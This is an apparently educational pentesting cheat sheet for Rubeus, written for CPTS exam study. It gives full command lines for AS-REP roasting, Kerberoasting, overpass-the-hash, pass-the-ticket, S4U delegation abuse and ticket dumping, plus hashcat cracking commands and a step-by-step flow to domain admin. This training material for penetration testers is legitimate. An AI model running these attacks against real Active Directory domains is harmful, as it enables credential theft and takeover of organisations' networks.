Rubeus · Pentesting Tools

What is it?

Rubeus is a C# tool that interacts with the Kerberos authentication protocol in Active Directory. It's part of the GhostPack suite (same family as Seatbelt, SharpUp, etc.) and runs on the target Windows machine, not from your Kali box.

Kerberos is the default authentication protocol in AD. When a user logs in, they get a Ticket Granting Ticket (TGT) from the Domain Controller. That TGT is then used to request Service Tickets (TGS) to access specific services. Rubeus manipulates this entire ticket flow.

Think of Rubeus as the Swiss Army knife for Kerberos. Mimikatz can do some Kerberos things too, but Rubeus was purpose-built for it and has more features.

Rubeus	Mimikatz
Purpose-built for Kerberos	General credential extraction
Written in C# (.NET)	Written in C
Better Kerberoasting (auto-crack format)	Kerberoasting possible but clunkier
Delegation abuse built-in	No delegation features
No LSASS dumping	Dumps LSASS, SAM, DPAPI, etc.

Run this first

Kerberoasting requests a service ticket for every account with an SPN, each of which is encrypted with that account's password hash.

bash: your first roast

C:\> Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

kerberoast targets every SPN-bearing account it can see.
/outfile saves the hashes in a format hashcat can read directly.

Crack the output with hashcat mode 13100 (or 19600/19700 for AES-encrypted tickets). AS-REP roasting (asreproast) targets a different, narrower set: accounts with Kerberos pre-authentication disabled, and does not need any credentials to attempt.

output: one roasted account

[*] SamAccountName         : svc_sql  <-- service accounts are the usual targets, often over-privileged
[*] ServicePrincipalName   : MSSQLSvc/db01.corp.local:1433
[*] Hash                   : $krb5tgs$23$*svc_sql$CORP.LOCAL$corp.local/svc_sql*$ab12cd34...  <-- $23$ = RC4, this is hashcat mode 13100

What does it do?

Rubeus has many modules. Here are the ones you'll actually use during CPTS:

Module	What it does	When you need it
`asreproast`	Requests TGTs for accounts with "Do not require Kerberos preauthentication" set	You have a username list, want hashes to crack offline
`kerberoast`	Requests service tickets for SPNs, extracts crackable hashes	You have domain creds (any user), want service account passwords
`asktgt`	Requests a TGT using a password, hash, or certificate	You have creds and want a TGT for pass-the-ticket
`asktgs`	Requests a service ticket using a TGT	You have a TGT and need to access a specific service
`ptt`	Injects a ticket into your current session (pass-the-ticket)	You have a .kirbi ticket and want to use it
`s4u`	Performs S4U2Self/S4U2Proxy (delegation abuse)	You control an account with constrained delegation
`harvest`	Continuously monitors for new TGTs on the machine	You're on a busy server and want to capture other users' tickets
`dump`	Dumps all Kerberos tickets from memory	You're local admin and want all cached tickets
`createnetonly`	Creates a sacrificial logon session for ticket injection	You don't want to overwrite your current session's ticket

When do you use it?

Rubeus comes into play at multiple stages of an AD engagement:

1

Early access: AS-REP Roasting

You only need a username list (no creds). Find accounts without Kerberos preauthentication and get crackable hashes.

2

After first creds: Kerberoasting

With any valid domain user, request service tickets for all SPN-enabled accounts. Service accounts often have weak passwords.

3

Lateral movement: Pass-the-Ticket

Got a hash but can't crack it? Request a TGT with the NT hash (asktgt /rc4:) and inject it for pass-the-ticket access.

4

Privilege escalation: Delegation abuse

If you control an account with constrained delegation, use s4u to impersonate a domain admin to the target service.

How do you spot when to use it?

Signals that say "run Rubeus"

BloodHound shows "AS-REP Roastable" users → Rubeus.exe asreproast
BloodHound shows "Kerberoastable" accounts → Rubeus.exe kerberoast
You have an NT hash but need to access a service → asktgt /rc4:HASH then ptt
BloodHound shows constrained delegation (AllowedToDelegate edge) → s4u module
You have a certificate from certipy → asktgt /certificate:cert.pfx
You're on a server with multiple users logged in → dump to grab cached tickets
You cracked a password and want to move laterally without touching NTLM → get a TGT and use Kerberos auth

How do you use it?

AS-REP Roasting

cmd: from a domain-joined machine

REM Find and roast all AS-REP roastable users
C:\> Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt

REM Target a specific user
C:\> Rubeus.exe asreproast /user:svc_backup /format:hashcat

REM From a non-domain machine (with creds)
C:\> Rubeus.exe asreproast /user:svc_backup /domain:corp.local /dc:DC01.corp.local /format:hashcat

Always use /format:hashcat

Without /format:hashcat, Rubeus outputs in Kirbi format which Hashcat can't read directly. Always add this flag so you can pipe the output straight to Hashcat.

Kerberoasting

cmd: requires any domain user

REM Kerberoast all SPN accounts
C:\> Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

REM Target a specific SPN account
C:\> Rubeus.exe kerberoast /user:svc_mssql /outfile:svc_mssql.txt

REM Only grab RC4-encrypted tickets (easier to crack)
C:\> Rubeus.exe kerberoast /tgtdeleg

REM Stats only: see what's available before roasting
C:\> Rubeus.exe kerberoast /stats

Request a TGT (pass-the-hash / pass-the-key)

cmd

REM Request TGT with plaintext password
C:\> Rubeus.exe asktgt /user:admin /password:P@ssw0rd /domain:corp.local /ptt

REM Request TGT with NT hash (overpass-the-hash)
C:\> Rubeus.exe asktgt /user:admin /rc4:64f12cddaa88057e06a81b54e73b949b /ptt

REM Request TGT with AES256 key (stealthier)
C:\> Rubeus.exe asktgt /user:admin /aes256:a561... /ptt /opsec

REM /ptt = inject the ticket immediately into current session
REM Without /ptt, it prints the base64 ticket for manual injection later

Pass-the-Ticket

cmd

REM Create a sacrificial logon session first (recommended)
C:\> Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /show

REM Note the LUID from the output, then inject a ticket into it
C:\> Rubeus.exe ptt /luid:0x12345 /ticket:doIFqDCCBaSgAwIB...

REM Or inject directly into current session
C:\> Rubeus.exe ptt /ticket:doIFqDCCBaSgAwIB...

Why use createnetonly?

Injecting a ticket into your current session overwrites your existing Kerberos ticket. If you're logged in as user1 and inject admin's ticket, you'll lose user1's access. createnetonly spawns a new process with an empty ticket cache, you inject into that without affecting your main session.

Constrained Delegation abuse (S4U)

cmd: when you control an account with delegation

REM Step 1: Get a TGT for the account with delegation
C:\> Rubeus.exe asktgt /user:svc_web /rc4:64f12cddaa88057e06a81b54e73b949b /outfile:svc_web.kirbi

REM Step 2: S4U: impersonate administrator to the target service
C:\> Rubeus.exe s4u /ticket:svc_web.kirbi /impersonateuser:administrator /msdsspn:cifs/fileserver.corp.local /ptt

REM Now your session has a ticket for administrator to CIFS on fileserver
C:\> dir \\fileserver.corp.local\C$

Dump tickets from memory

cmd: requires local admin

REM Dump all tickets from all logon sessions
C:\> Rubeus.exe dump

REM Dump only TGTs (most useful for lateral movement)
C:\> Rubeus.exe dump /service:krbtgt

REM Export to file
C:\> Rubeus.exe dump /service:krbtgt /nowrap

What do you do with the output?

Kerberoast / AS-REP hashes

bash: crack on your Kali box

# Crack Kerberoast hashes (TGS-REP etype 23 = RC4)
$ hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# Crack AS-REP hashes
$ hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

# Crack AES256 Kerberoast (etype 17/18, much slower)
$ hashcat -m 19700 kerberoast_aes.txt /usr/share/wordlists/rockyou.txt

Hash type	Hashcat mode	Speed
Kerberoast RC4 (etype 23)	13100	Fast (millions/sec on GPU)
Kerberoast AES (etype 17 / etype 18)	19600 / 19700	Very slow
AS-REP roast	18200	Fast

Tickets (base64 / .kirbi)

Inject with ptt for Kerberos-based access (SMB, WinRM, LDAP, etc.)
Convert to ccache for use with Linux tools: ticketConverter.py ticket.kirbi ticket.ccache
Use the ccache with export KRB5CCNAME=ticket.ccache + impacket tools (-k -no-pass)

Common mistakes

Watch out for these

Running without enough privileges: dump and harvest need local admin. kerberoast and asreproast only need a regular domain user
Forgetting /format:hashcat: Default output format isn't Hashcat-compatible. Always add this flag for roasting
Overwriting your own ticket: Using /ptt directly injects into your current session. Use createnetonly first if you need to keep your existing access
Only trying RC4: Modern domains may enforce AES encryption. If kerberoast returns etype 17/18 tickets, you can still crack them, it's just slower. Use /tgtdeleg to try to force RC4
Forgetting /nowrap for piping: The /nowrap flag outputs base64 tickets on a single line. Without it, the base64 wraps and breaks when you copy-paste
Not checking /stats first: kerberoast /stats shows you how many SPN accounts exist and their encryption types before you generate traffic

Real-world attack flow

You've compromised a workstation as a regular domain user. Here's how Rubeus fits in:

1

Check what's available

Rubeus.exe kerberoast /stats: see how many SPN accounts, what encryption types

2

Kerberoast

Rubeus.exe kerberoast /outfile:hashes.txt: grab all service ticket hashes

3

Crack offline

Transfer hashes.txt to Kali, crack with hashcat -m 13100. Service accounts love weak passwords

4

Use the cracked service account

Rubeus.exe asktgt /user:svc_sql /password:Summer2024! /ptt: now you're the service account

5

Check for delegation

If svc_sql has constrained delegation → s4u to impersonate DA to the target service. Game over

Check yourself

Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.

What makes an account Kerberoastable in the first place?

Having a servicePrincipalName (SPN) set. Rubeus requests a ticket for that service, and the ticket is encrypted with the account's password hash.

Which hashcat mode matches a Kerberoast hash, and which matches AS-REP roast?

13100 for RC4 Kerberoast (19600/19700 for AES). 18200 for AS-REP roast.

AS-REP roasting needs no credentials at all. What specific misconfiguration does it rely on?

Kerberos pre-authentication being disabled on the target account, so the AS-REP response can be captured without ever supplying a password.

You have an NT hash but no plaintext password. Can Rubeus get you a TGT anyway?

Yes, with overpass-the-hash: request a TGT using the hash in place of a password.

What does pass-the-ticket let you do that pass-the-hash does not?

Reuse an existing Kerberos ticket (TGT or TGS) directly, without needing the account's password or hash at all.